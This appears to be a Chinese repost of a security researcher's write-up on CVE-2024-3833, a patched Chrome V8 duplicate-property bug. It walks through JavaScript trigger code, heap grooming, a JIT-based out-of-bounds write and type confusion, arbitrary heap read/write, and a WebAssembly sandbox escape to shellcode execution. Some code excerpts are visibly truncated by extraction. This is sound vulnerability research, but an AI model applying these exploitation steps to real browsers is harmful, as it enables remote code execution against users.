文章来源:3072
在这篇文章中,我将利用Chrome的JavaScript引擎v8中的一个对象损坏漏洞CVE-2024-3833,这是我在2024年3月报告的漏洞331383939。还有一个类似的漏洞331358160,也被报告并被分配了CVE-2024-3832。这两个漏洞都在版本124.0.6367.60/.61中被修复了。CVE-2024-3833允许通过访问恶意网站,在Chrome的渲染器沙盒中实现远程代码执行(RCE)。
Chrome中的起源试验
Chrome中的新特性有时会作为起源试验特性推出,然后才会普及。当一个特性作为起源试验提供时,网络开发者可以在Chrome中注册他们的来源,这允许他们在注册的来源上使用该特性。这允许网络开发者在他们的网站上测试一个新特性,并向Chrome提供反馈,同时保持在没有请求使用的网站上禁用该特性。起源试验在有限的时间内有效,任何人都可以注册他们的来源来使用活跃试验列表中的特性。通过注册来源,开发者会得到一个起源试验令牌,他们可以通过添加一个元标签来包含在他们的网站上:<meta http-equiv="origin-trial" content="TOKEN_GOES_HERE">
。
旧漏洞
通常,起源试验特性在任何用户JavaScript运行之前就被启用了。然而,情况并不总是这样。一个网页可以在任何时候以编程方式创建包含试验令牌的元标签,并且可以在创建标签之前执行JavaScript。在某些情况下,负责打开特定起源试验特性的代码错误地假设在它之前没有运行任何用户JavaScript,这可能导致安全问题。
一个例子是CVE-2021-30561,由Google Project Zero的Sergei Glazunov报告。在那个案例中,当检测到起源试验令牌时,WebAssembly异常处理特性会在JavaScript的WebAssembly
对象中创建一个Exception
属性。
let exception = WebAssembly.Exception; //<---- 未定义
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- 激活起源试验
...
exception = WebAssembly.Exception; //<---- 属性创建
特别是,创建Exception
属性的代码使用了一个内部函数来创建属性,它假设WebAssembly
对象中不存在Exception
属性。如果用户在激活试验之前创建了Exception
属性,那么Chrome会尝试在WebAssembly
中创建另一个Exception
属性。这可能会在WebAssembly
中产生两个具有不同值的重复的Exception
属性。然后,这可以用来引起Exception
属性中的类型混淆,进而被利用来获得RCE。
WebAssembly.Exception = 1.1;
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- 创建重复的Exception属性
...
CVE-2021-30561的实际情况更为复杂,因为启用WebAssembly异常处理特性的代码确实检查了WebAssembly
对象是否已经包含名为Exception
的属性。然而,那里使用的检查是不充分的,并且在CVE-2021-30561中通过使用JavaScript的Proxy
对象被绕过。有关如何绕过和利用的详细信息,我将引导读者查看原始漏洞票,其中包含了所有细节。
又一天,又一个绕过
Javascript Promise集成是目前正在进行起源试验的WebAssembly特性(直到2024年10月29日)。与WebAssembly异常处理特性类似,当通过调用InstallConditionalFeatures
检测到起源试验令牌时,它在WebAssembly
对象上定义属性:
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
...
// 安装JSPI相关特性。
if (isolate->IsWasmJSPIEnabled(context)) {
Handle suspender_string = v8_str(isolate, "Suspender");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string) //<--- 1.
.FromMaybe(true)) {
InstallSuspenderConstructor(isolate, context);
}
// 如果尚未完成,则安装Wasm类型反射特性。
Handle function_string = v8_str(isolate, "Function");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string) //<--- 2.
.FromMaybe(true)) {
InstallTypeReflection(isolate, context);
}
}
}
在添加Javascript Promise集成(JSPI)时,上述代码检查webassembly
是否已经有Suspender
和Function
属性(上述的1.和2.),如果没有,它将使用InstallSuspenderConstructor
和InstallTypeReflection
分别创建这些属性。函数InstallSuspenderConstructor
使用InstallConstructorFunc
在WebAssembly
对象上创建Suspender
属性:
void WasmJs::InstallSuspenderConstructor(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate); //<--- 3.
Handle suspender_constructor = InstallConstructorFunc(
isolate, webassembly, "Suspender", WebAssemblySuspender);
...
}
问题是,在InstallSuspenderConstructor
中,WebAssembly
对象来自context
的wasm_webassembly_object
属性(上述的3.),而InstallConditionalFeatures
中检查的WebAssembly
对象来自全局对象的WebAssembly
属性(与全局WebAssembly
变量相同):
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
Handle global = handle(context->global_object(), isolate);
// 如果某个模糊器决定使全局对象不可扩展,那么
// 我们无法安装任何特性(如果我们尝试,将会CHECK-fail)。
if (!global->map()->is_extensible()) return;
MaybeHandle
全局WebAssembly变量可以通过使用JavaScript更改为任何用户定义的对象:
WebAssembly = {}; //<---- 更改WebAssembly全局变量
虽然这更改了WebAssembly
的值,但context
中缓存的wasm_webassembly_object
不受影响。因此,首先可以在WebAssembly
对象上定义一个Suspender
属性,然后将WebAssembly
变量设置为不同的对象,然后激活Javascript Promise集成
起源试验,在原始的WebAssembly
对象中创建一个重复的Suspender
:
WebAssembly.Suspender = {};
delete WebAssembly.Suspender;
WebAssembly.Suspender = 1;
//将原始的WebAssembly对象存储在oldWebAssembly中
var oldWebAssembly = WebAssembly;
var newWebAssembly = {};
WebAssembly = newWebAssembly;
//激活试验
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //<---- 在oldWebAssembly中创建重复的Suspender属性
%DebugPrint(oldWebAssembly);
当触发起源试验时,InstallConditionalFeatures
首先检查Suspender
属性是否不在WebAssembly
全局变量中(上述为newWebAssembly
)。然后,它继续在context->wasm_webassembly_object
(上述为oldWebAssembly
)中创建Suspender
属性。这样做在oldWebAssembly
中创建了一个重复的Suspender
属性,就像CVE-2021-30561中发生的那样。
DebugPrint: 0x2d5b00327519: [JS_OBJECT_TYPE] in OldSpace
- map: 0x2d5b00387061 [DictionaryProperties]
- prototype: 0x2d5b003043e9
这导致oldWebAssembly
有两个存储在不同偏移处的Suspender
属性。我将这个问题作为331358160报告了,并且它被分配了CVE-2024-3832。
函数InstallTypeReflection
也遭受了类似的问题,但有一些额外的问题:
void WasmJs::InstallTypeReflection(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate);
#define INSTANCE_PROTO_HANDLE(Name)
handle(JSObject::cast(context->Name()->instance_prototype()), isolate)
...
InstallFunc(isolate, INSTANCE_PROTO_HANDLE(wasm_tag_constructor), "type", // <-- 1.
WebAssemblyTableType, 0, false, NONE,
SideEffectType::kHasNoSideEffect);
...
#undef INSTANCE_PROTO_HANDLE
}
函数InstallTypeReflection
还在其他对象中定义了type
属性。例如,在1.中,属性type
是在wasm_tag_constructor
的prototype
对象中创建的,没有检查该属性是否已经存在:
var x = WebAssembly.Tag.prototype;
x.type = {};
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); // <-- 在x上创建重复的type属性
这允许在WebAssembly.Tag.prototype
上创建重复的type
属性。这个问题被报告为331383939,并且被分配了CVE-2024-3833。
一个新的利用方法[]
CVE-2021-30561的利用依赖于创建“快速对象”的重复属性。在v8中,快速对象将它们的属性存储在一个数组中(一些属性也存储在对象本身内部)。然而,自那以后已经应用了一个硬化补丁,它会在向快速对象添加属性时检查重复项。因此,不再可能创建具有重复属性的快速对象。
然而,仍然可以使用这个错误在“字典对象”中创建重复属性。在v8中,属性字典实现为NameDictionary
。NameDictionary
的底层存储实现为一个数组,每个元素是一个形式为(Key, Value, Attribute)
的元组,其中Key
是属性的名称。当向NameDictionary
添加属性时,使用数组中的下一个空闲条目来存储这个新元组。有了这个错误,可以在属性字典中用重复的Key
创建不同的条目。在CVE-2023-2935的报告中,Sergei Glazunov展示了如何利用字典对象中的重复属性。然而,这依赖于能够将重复属性作为AccessorInfo
属性创建,这是v8中通常为内置对象保留的一种特殊类型的属性。在当前情况下,这同样是不可能的。所以,我需要找到一种新的方式来利用这个问题。
这个想法是寻找一些内部函数或优化,它们将遍历对象的所有属性,但不会期望属性被重复。一个这样的优化是对象克隆。
克隆的攻击
当使用扩展语法复制对象时,会创建原始对象的浅拷贝:
const clonedObj = { ...obj1 };
在v8中,这实现为CloneObject字节码:
0x39b300042178 @ 0 : 80 00 00 29 CreateObjectLiteral [0], [0], #41
...
0x39b300042187 @ 15 : 82 f7 29 05 CloneObject r2, #41, [5]
当首次运行包含字节码的函数时,会生成内联缓存代码,并在后续调用中使用该代码处理字节码。在处理字节码时,内联缓存代码还会收集有关输入对象(obj1
)的信息,并为相同类型的输入生成优化的内联缓存处理程序。当内联缓存代码首次运行时,没有关于以前输入对象的信息,也没有可用的缓存处理程序。因此,会检测到内联缓存未命中,并使用CloneObjectIC_Miss
来处理字节码。为了理解CloneObject
内联缓存的工作原理以及它与利用的相关性,我将回顾一些v8中对象类型和属性的基础知识。Javascript对象在v8中存储一个map
字段,指定对象的类型,并特别指定对象中属性的存储方式:
x = { a : 1};
x.b = 1;
%DebugPrint(x);
%DebugPrint
的输出如下:
DebugPrint: 0x1c870020b10d: [JS_OBJECT_TYPE]
- map: 0x1c870011afb1 [FastProperties]
...
- properties: 0x1c870020b161
- All own properties (excluding elements): {
0x1c8700002ac1: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x1c8700002ad1: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
}
我们看到x
有两个属性——一个存储在对象中(a
),另一个存储在PropertyArray
中。注意PropertyArray
的长度是3
(PropertyArray[3]
),而只有一个属性存储在PropertyArray
中。PropertyArray
的长度就像C++中std::vector
的容量。拥有稍大的容量可以避免每次向对象添加新属性时都要扩展和重新分配PropertyArray
。
对象的map
使用字段inobject_properties
和unused_property_fields
来指示有多少属性存储在对象中,以及PropertyArray
中剩余多少空间。在这种情况下,我们有2
个空闲空间(3 (PropertyArray长度) - 1 (数组中的属性) = 2
)。
0x1c870011afb1: [Map] in OldSpace
- map: 0x1c8700103c35 <MetaMap (0x1c8700103c85 )>
- type: JS_OBJECT_TYPE
- instance size: 16
- inobject properties: 1
- unused property fields: 2
...
当发生缓存未命中时,CloneObjectIC_Miss
首先尝试通过使用GetCloneModeForMap
检查source
对象的map
来确定克隆的结果(target
)是否可以使用与原始对象(source
)相同的map
(如下所述1):
RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
HandleScope scope(isolate);
DCHECK_EQ(4, args.length());
Handle
与我们相关的情况是FastCloneObjectMode::kDifferentMap
模式。
case FastCloneObjectMode::kDifferentMap: {
Handle
在这种模式下,首先通过慢路径(上述的1.)制作source
对象的浅拷贝。然后,内联缓存的处理程序被编码为由source
和target
对象的映射组成的一对映射(上述的2.)。
从现在开始,如果另一个带有source_map
的对象被克隆,将使用内联缓存处理程序来克隆对象。基本上,source
对象的复制如下:
-
制作
source
对象的PropertyArray的副本:TNode source_property_array = CAST(source_properties);
TNode length = LoadPropertyArrayLength(source_property_array);
GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &allocate_object);
TNode property_array = AllocatePropertyArray(length);
FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);
CopyPropertyArrayValues(source_property_array, property_array, length,
SKIP_WRITE_BARRIER, DestroySource::kNo);
var_properties = property_array; -
分配目标对象并使用
result_map
作为其映射。TNode object = UncheckedCast(AllocateJSObjectFromMap(
result_map.value(), var_properties.value(), var_elements.value(),
AllocationFlag::kNone,
SlackTrackingMode::kDontInitializeInObjectProperties)); -
从
source
复制内部属性到target
。BuildFastLoop(
result_start, result_size,
[=](TNode field_index) {
...
StoreObjectFieldNoWriteBarrier(object, result_offset, field);
},
1, LoopUnrollingMode::kYes, IndexAdvanceMode::kPost);
如果我尝试克隆一个具有重复属性的对象会发生什么?当代码首次运行时,会调用CloneObjectSlowPath
来分配target
对象,然后从source
复制每个属性到target
。然而,CloneObjectSlowPath
中的代码正确处理了重复属性,所以当遇到source
中的重复属性时,不是在target
中创建重复的属性,而是覆盖现有的属性。例如,如果我的source
对象具有以下布局:
DebugPrint: 0x38ea0031b5ad: [JS_OBJECT_TYPE] in OldSpace
- map: 0x38ea00397745 [FastProperties]
...
- properties: 0x38ea00355e85
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171
它有一个长度为4
的PropertyArray
,其中type
作为PropertyArray
中的最后一个属性重复出现。克隆此对象得到的target
将覆盖第一个type
属性:
DebugPrint: 0x38ea00355ee1: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9 [FastProperties]
...
- properties: 0x38ea00356001
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499 (data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]
注意target
有一个长度为3
的PropertyArray
,并且PropertyArray
中也有三个属性(属性#a4..#a6
,其location
在properties
中)。特别是,target
对象中没有unused_property_fields
:
0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
虽然这看起来像是一个挫折,因为重复的属性并没有传播到target
对象,但当内联缓存处理程序接管时,真正的魔法发生了。记住,当使用内联缓存处理程序克隆时,结果对象与CloneObjectSlowPath
中的target
对象具有相同的map
,而PropertyArray
是source
对象的PropertyArray
的副本。这意味着内联缓存处理程序的克隆target
具有以下属性布局:
DebugPrint: 0x38ea003565c9: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9 [FastProperties]
...
- properties: 0x38ea003565b1
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171
注意它有一个长度为4
的PropertyArray
,但数组中只有三个属性,留下一个未使用的属性。然而,它的map
与CloneObjectSlowPath
使用的map
相同(0x38ea003978b9
),它没有unused_property_fields
:
0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
所以,我得到的不是一个有重复属性的对象,而是一个unused_property_fields
和PropertyArray
不一致的对象。现在,如果我给这个对象添加一个新属性,将创建一个新的map
来反映对象的新属性布局。这个新map
的unused_property_fields
基于旧的map
,在AccountAddedPropertyField
中计算。基本上,如果旧的unused_property_fields
是正数,这会减少一个unused_property_fields
来考虑新添加的属性。如果旧的unused_property_fields
是零,那么新的unused_property_fields
设置为二,考虑到PropertyArray
已满,必须扩展。
另一方面,扩展PropertyArray
的决定基于它的length
而不是map
的unused_property_fields
:
void MigrateFastToFast(Isolate* isolate, Handle object,
Handle new_map) {
...
// Check if we still have space in the {object}, in which case we
// can also simply set the map (modulo a special case for mutable
// double boxes).
FieldIndex index = FieldIndex::ForDetails(*new_map, details);
if (index.is_inobject() || index.outobject_array_index() property_array(isolate)->length()) {
...
object->set_map(*new_map, kReleaseStore);
return;
}
// This migration is a transition from a map that has run out of property
// space. Extend the backing store.
int grow_by = new_map->UnusedPropertyFields() + 1;
...
}
所以,如果我有一个对象,它的unused_property_fields
为零,但在PropertyArray
中有一个空间(即,length = existing_property_number + 1
),那么当我添加一个新属性时,PropertyArray
将不会被扩展。所以,在添加一个新属性后,PropertyArray
将被填满。然而,正如前面提到的,unused_property_fields
是独立更新的,它将被设置为二,就好像PropertyArray
被扩展了:
DebugPrint: 0x2575003565c9: [JS_OBJECT_TYPE]
- map: 0x257500397749 [FastProperties]
...
- properties: 0x2575003565b1
- All own properties (excluding elements): {
0x257500004045: [String] in ReadOnlySpace: #type: 0x25750034b171
这很重要,因为v8的JIT编译器TurboFan使用unused_property_fields
来决定是否需要扩展PropertyArray
:
JSNativeContextSpecialization::BuildPropertyStore(
Node* receiver, Node* value, Node* context, Node* frame_state, Node* effect,
Node* control, NameRef name, ZoneVector* if_exceptions,
PropertyAccessInfo const& access_info, AccessMode access_mode) {
...
if (transition_map.has_value()) {
// Check if we need to grow the properties backing store
// with this transitioning store.
...
if (original_map.UnusedPropertyFields() == 0) {
DCHECK(!field_index.is_inobject());
// Reallocate the properties {storage}.
storage = effect = BuildExtendPropertiesBackingStore(
original_map, storage, effect, control);
所以,通过JIT向具有两个unused_property_fields
和满PropertyArray
的对象添加新属性,我将能够越界写入PropertyArray
(OOB),并覆盖其后分配的任何内容。
创建具有重复属性的快速对象
为了在PropertyArray
中引起OOB(越界)写入,我首先需要创建一个具有重复属性的快速对象。正如之前提到的,一个硬化补丁 在向快速对象添加属性时引入了检查重复项的功能,因此我不能直接创建具有重复属性的快速对象。解决方案是先使用错误创建一个具有重复属性的字典对象,然后将该对象转变为快速对象。为此,我将使用WebAssembly.Tag.prototype
来触发错误:
var x = WebAssembly.Tag.prototype;
x.type = {};
// 删除属性会导致变为字典对象
delete x.constructor;
// 触发错误以创建重复的type属性
...
一旦我得到了一个具有重复属性的字典对象,我可以通过使用MakePrototypesFast
来将其变为快速对象,这可以通过属性访问触发:
var y = {};
// 将x设置为y的原型
var y.__proto__ = x;
// y的属性访问调用MakePrototypeFast对x进行操作
y.a = 1;
z = y.a;
通过使x
成为对象y
的原型,然后访问y
的属性,调用MakePrototypeFast
将x
变为具有重复属性的快速对象。之后,我可以克隆x
以触发PropertyArray
中的OOB写入。
利用PropertyArray中的OOB写入
为了利用PropertyArray
中的OOB写入,我们首先检查PropertyArray
之后分配了什么。回想一下,PropertyArray
是在内联缓存处理程序中分配的。从处理程序代码中,我可以看到PropertyArray
是在target
对象分配之前分配的:
void AccessorAssembler::GenerateCloneObjectIC() {
...
TNode property_array = AllocatePropertyArray(length); //--- property_array被分配
...
var_properties = property_array;
}
Goto(&allocate_object);
BIND(&allocate_object);
...
TNode object = UncheckedCast(AllocateJSObjectFromMap( //--- target对象被分配
result_map.value(), var_properties.value(), var_elements.value(),
AllocationFlag::kNone,
SlackTrackingMode::kDontInitializeInObjectProperties));
由于v8线性地分配对象,OOB写入因此允许我改变target
对象的内部字段。为了利用这个漏洞,我将覆盖target
对象的第二个字段,即properties
字段,它存储了target
对象的PropertyArray
的地址。这涉及到创建JIT函数向target
对象添加两个属性。
a8 = {c : 1};
...
function transition_store(x) {
x.a7 = 0x100;
}
function transition_store2(x) {
x.a8 = a8;
}
... //JIT优化transition_store和transition_store2
transition_store(obj);
// 导致对象a8被解释为obj的PropertyArray
transition_store2(obj);
将属性a8
存储到具有不一致PropertyArray
和unused_property_fields
的损坏对象obj
时,对PropertyArray
的OOB写入将用JavaScript对象a8
覆盖obj
的PropertyArray
。然后可以通过在v8堆中仔细安排对象来利用这一点。由于对象在v8堆中线性分配,可以通过按顺序分配对象轻松地安排堆。例如,在以下代码中:
var a8 = {c : 1};
var a7 = [1,2];
对象a8
周围的v8堆如下所示:
左侧显示了对象a8
和a7
。字段map
、properties
和elements
是C++对象中的内部字段,对应于JavaScript对象。右侧表示内存的视图,作为obj
的PropertyArray
(当obj
的PropertyArray
设置为a8
的地址时)。PropertyArray
有两个内部字段,map
和length
。当对象a8
被类型混淆为PropertyArray
时,它的properties
字段,即其PropertyArray
的地址,被解释为obj
的PropertyArray
的length
。由于地址通常是一个较大的数字,这允许进一步对obj
的PropertyArray
进行OOB读写。
PropertyArray
中的属性ai+3
将与Array
a7
的length
字段对齐。通过写入这个属性,可以覆盖Array
a7
的length
。这允许我实现JavaScript数组中的OOB写入,这可以以标准方式被利用。然而,为了覆盖length
字段,我必须不断向obj
添加属性,直到达到length
字段。不幸的是,这意味着我还将覆盖map
、properties
和elements
字段,这将破坏Array
a7
。
为了避免覆盖a7
的内部字段,我将创建a7
,使其PropertyArray
在它之前分配。这可以通过克隆来实现:
var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
obj0.c4 = {len : 1};
function clone0(x) {
return {...x};
}
// 运行clone0(obj0)几次以创建内联缓存处理程序
...
var a8 = {c : 1};
// 使用内联缓存处理程序创建a7
var a7 = clone0(obj0);
对象obj0
有五个字段,最后一个c4
存储在PropertyArray
中:
DebugPrint: 0xad0004a249: [JS_OBJECT_TYPE]
...
0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d
当在函数clone0
中使用内联缓存处理程序克隆obj0
时,请记住target
对象的PropertyArray
(在这种情况下是a7
)首先被分配,因此a7
的PropertyArray
将被分配在对象a8
之后,但在a7
之前:
// a8的地址
DebugPrint: 0xad0004a7fd: [JS_OBJECT_TYPE]
// a7的DebugPrint
DebugPrint: 0xad0004a83d: [JS_OBJECT_TYPE]
- properties: 0x00ad0004a829
- All own properties (excluding elements): {
...
0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d
我们可以看到,a8
的地址是0xad0004a7fd
,而a7
的PropertyArray
的地址在0x00ad0004a829
,a7
在0xad0004a83d
。这导致以下内存布局:
有了这个堆布局,我可以通过写入与c4
对齐的obj
中的属性ai
来覆盖a7
的属性c4
。尽管PropertyArray
的map
和length
也会被覆盖,但这似乎不影响a7
的属性访问。然后,我可以利用JIT编译器中的优化属性加载在JavaScript Object
和Array
之间创建类型混淆。
function set_length(x) {
x.c4.len = 1000;
}
当函数set_length
使用a7
作为其input
x
进行优化时,因为a7
的属性c4
是一个具有恒定map
的对象(它始终是{len : 1}
),这个属性的map
存储在a7
的map
中。JIT编译器利用这些信息来优化x.c4.len
的属性访问。只要x
的map
保持与a7
的map
相同,x.c4
将具有与{len : 1}
相同的map
,因此可以直接使用内存偏移量访问x.c4
的len
属性,而无需检查x.c4
的map
。然而,通过使用PropertyArray
中的OOB写入将a7.c4
更改为双精度Array
,corrupted_arr
,a7
的map
不会改变,JIT编译的set_length
代码将把a7.c4
视为如果它仍然具有与{len : 1}
相同的map
,并直接写入对应于a7.c4
的len
属性的内存偏移量。由于a7.c4
现在是一个Array
对象,corrupted_arr
,这将覆盖corrupted_arr
的length
属性,这允许我越界访问corrupted_arr
。一旦实现了对corrupted_arr
的OOB访问,获得v8堆中的任意读写就相当直接了。它基本上包括以下步骤:
-
首先,在 corrupted_arr
之后放置一个Object
Array
,并使用corrupted_arr
中的OOB读原语读取存储在此数组中的对象的地址。这允许我获得任何V8对象的地址。 -
在 corrupted_arr
之后放置另一个双精度数组,writeArr
,并使用corrupted_arr
中的OOB写原语覆盖writeArr
的element
字段为对象地址。然后访问writeArr
的元素允许我任意读写地址。
由于v8最近引入了v8堆沙箱,它将v8堆与其他进程内存(例如可执行代码)隔离开来,并防止v8堆内的记忆错误访问堆外的内存。要获得代码执行,需要一种方法来逃离堆沙箱。由于这个错误是在Pwn2Own比赛后不久报告的,我决定检查提交记录,看看是否有任何沙箱逃逸被修补作为比赛的结果。果然,有一个提交 看起来像是修复了一个堆沙箱逃逸,我认为这是与Pwn2Own比赛的入口一起使用的。
在创建WebAssembly.Instance
对象时,可以导入来自Javascript或其他WebAssembly模块的对象,并在实例中使用它们:
const importObject = {
imports: {
imported_func(arg) {
console.log(arg);
},
},
};
var mod = new WebAssembly.Module(wasmBuffer);
const instance = new WebAssembly.Instance(mod, importObject);
在这种情况下,imported_func
被导入到实例中,并且可以被定义在WebAssembly模块中的WebAssembly函数调用它们:
(module
(func $i (import "imports" "imported_func") (param i32))
(func (export "exported_func")
i32.const 42
call $i
)
为了在v8中实现这一点,当创建WebAssembly.Instance
时,使用了FixedAddressArray
来存储导入函数的地址:
Handle WasmTrustedInstanceData::New(
Isolate* isolate, Handle module_object) {
...
const WasmModule* module = module_object->module();
int num_imported_functions = module->num_imported_functions;
Handle imported_function_targets =
FixedAddressArray::New(isolate, num_imported_functions);
...
然后当调用导入的函数时,它被用作调用目标。由于这个FixedAddressArray
位于v8堆中,一旦我在v8堆中获得了任意读写原语,我就可以轻松修改它。因此,我可以重写导入函数的目标,以便在WebAssembly代码中调用导入的函数时,它将跳转到我准备的shell代码的地址以获得代码执行。
特别地,如果导入的函数是一个Javascript Math
函数,那么一些包装代码被编译 并用作imported_function_targets
中的调用目标:
bool InstanceBuilder::ProcessImportedFunction(
Handle trusted_instance_data, int import_index,
int func_index, Handle module_name, Handle import_name,
Handle
由于编译的包装代码存储在与其他由Liftoff编译器 编译的WebAssembly代码相同的rx
区域中,我可以创建存储数值数据的WebAssembly函数,并重写imported_function_targets
以跳转到这些数据中间,以便它们被解释为代码并被执行。这个想法类似于JIT喷洒,这是一种绕过堆沙箱的方法,但已经被修补。由于包装代码和我编译的WebAssembly代码在相同的区域,它们之间的偏移量可以计算,这允许我精确地跳转到我制作的WebAssembly代码中的数据以执行任意shell代码。
这个漏洞的利用可以在这里找到,附带一些设置说明。
结论
在这篇文章中,我研究了CVE-2024-3833,这是一个允许在v8对象中创建重复属性的错误,类似于CVE-2021-30561的错误。虽然由于代码硬化,利用CVE-2021-30561中重复属性的方法不再可用,但我能够以不同的方式利用这个错误。
-
首先将重复属性转移到对象的 PropertyArray
和其map
之间的不一致。 -
然后这变成了 PropertyArray
的OOB写入,然后我用它在JavaScriptObject
和JavaScriptArray
之间创建类型混淆。 -
一旦实现了这种类型混淆,我可以重写类型混淆的JavaScript Array
的length
。然后这变成了JavaScriptArray
中的OOB访问。
一旦实现了JavaScript Array
(corrupted_arr
)中的OOB访问,将其转换为v8堆中的任意读写就相当标准了。它基本上包括以下步骤:
-
首先,在 corrupted_arr
之后放置一个Object
Array
,并使用corrupted_arr
中的OOB读原语读取存储在此数组中的对象的地址。这允许我获得任何V8对象的地址。 -
在 corrupted_arr
之后放置另一个双精度数组,writeArr
,并使用corrupted_arr
中的OOB写原语覆盖writeArr
的element
字段为对象地址。然后访问writeArr
的元素允许我任意读写地址。
由于v8最近实施了v8堆沙箱,获得v8堆中的任意内存读写不足以实现代码执行。为了实现代码执行,我覆盖了存储在v8堆中的WebAssembly导入函数的跳转目标。通过将跳转目标重写为shell代码的位置,我可以执行任意代码调用WebAssembly模块中的导入函数。
HVV内推通道↓↓↓
往期回顾
原文始发于微信公众号(EchoSec):漏洞速递 | CVE-2024-3833 Chrome沙盒RCE